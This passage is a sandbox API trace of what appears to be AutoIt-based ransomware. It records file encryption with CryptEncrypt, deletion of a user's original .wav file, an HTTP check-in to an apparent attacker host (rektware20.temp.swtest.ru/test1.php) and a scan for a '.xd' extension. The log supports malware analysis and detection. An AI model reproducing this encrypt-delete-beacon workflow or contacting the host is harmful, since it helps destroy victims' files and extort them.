lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.477] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.477] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1892010*, pdwDataLen=0x130e618*=0xa7f6, dwBufLen=0xa800 | out: pbData=0x1892010*, pdwDataLen=0x130e618*=0xa800) returned 1 [0063.477] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.477] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.478] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.478] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.478] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.478] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.480] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.481] WriteFile (in: hFile=0x3bc, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0xa800, lpOverlapped=0x0) returned 1 [0063.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.482] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.482] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.483] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.483] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.483] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.483] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.483] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0063.483] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.483] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.483] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.483] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.483] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.483] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.484] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.484] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.484] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.484] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.484] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.484] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.484] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.485] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.485] CryptReleaseContext (hProv=0x17ab000, dwFlags=0x0) returned 1 [0063.485] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.485] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.485] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.485] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.485] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.485] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.485] CloseHandle (hObject=0x2ac) returned 1 [0063.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.485] CloseHandle (hObject=0x3bc) returned 1 [0063.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.488] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.488] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", lpFilePart=0x0) returned 0x32 [0063.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\1pexxc.wav")) returned 0x20 [0063.488] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0063.488] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\1pexxc.wav")) returned 1 [0063.523] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.524] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0063.524] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.524] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.524] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.524] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.524] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.524] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.524] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.524] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.524] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.524] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.524] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.524] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0063.525] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.525] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.525] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.525] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.525] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.525] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.525] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.526] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.526] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.526] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.526] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.526] CloseHandle (hObject=0x0) returned 0 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.526] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.527] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="68V5EVK.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.527] CompareStringW 